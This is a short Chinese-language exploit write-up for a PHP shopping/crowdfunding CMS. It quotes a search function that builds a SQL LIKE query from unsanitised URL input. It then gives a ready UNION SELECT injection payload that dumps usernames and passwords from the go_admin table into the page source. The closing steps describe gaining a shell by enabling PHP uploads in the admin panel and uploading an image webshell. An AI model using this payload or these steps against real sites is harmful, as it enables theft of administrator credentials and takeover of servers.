public function tag(){



$search =$this->segment(4);

if(!$search)_message("输入搜索关键字");

$search = urldecode($search);

$search = htmlspecialchars($search);

if(!_is_utf8($search)){

$search = iconv("GBK", "UTF-8", $search);

}

$mysql_model=System::load_sys_class(''model'');

$title=$search.'' - ''._cfg(''web_name'');

$shoplist=$mysql_model->GetList("select thumb,id,sid,zongrenshu,canyurenshu,shenyurenshu,money from `@#_shoplist` WHERE `title` LIKE ''%".$search."%''");

$list=count($shoplist);

include templates("search","search");



}

  构建SQL语句   yun%%27 union select 1,2,3,group_concat(username),5,6,7 from go_admin%23 查看网页源文件就能得到用户信息 密码同样道理。   注入出来的账号密码藏入标签里面去了。查看就OK 。   拿到账号密码 至于后台拿shell 可以自己设置上传的类型   添加php后 不过要上传图片马才可以上去。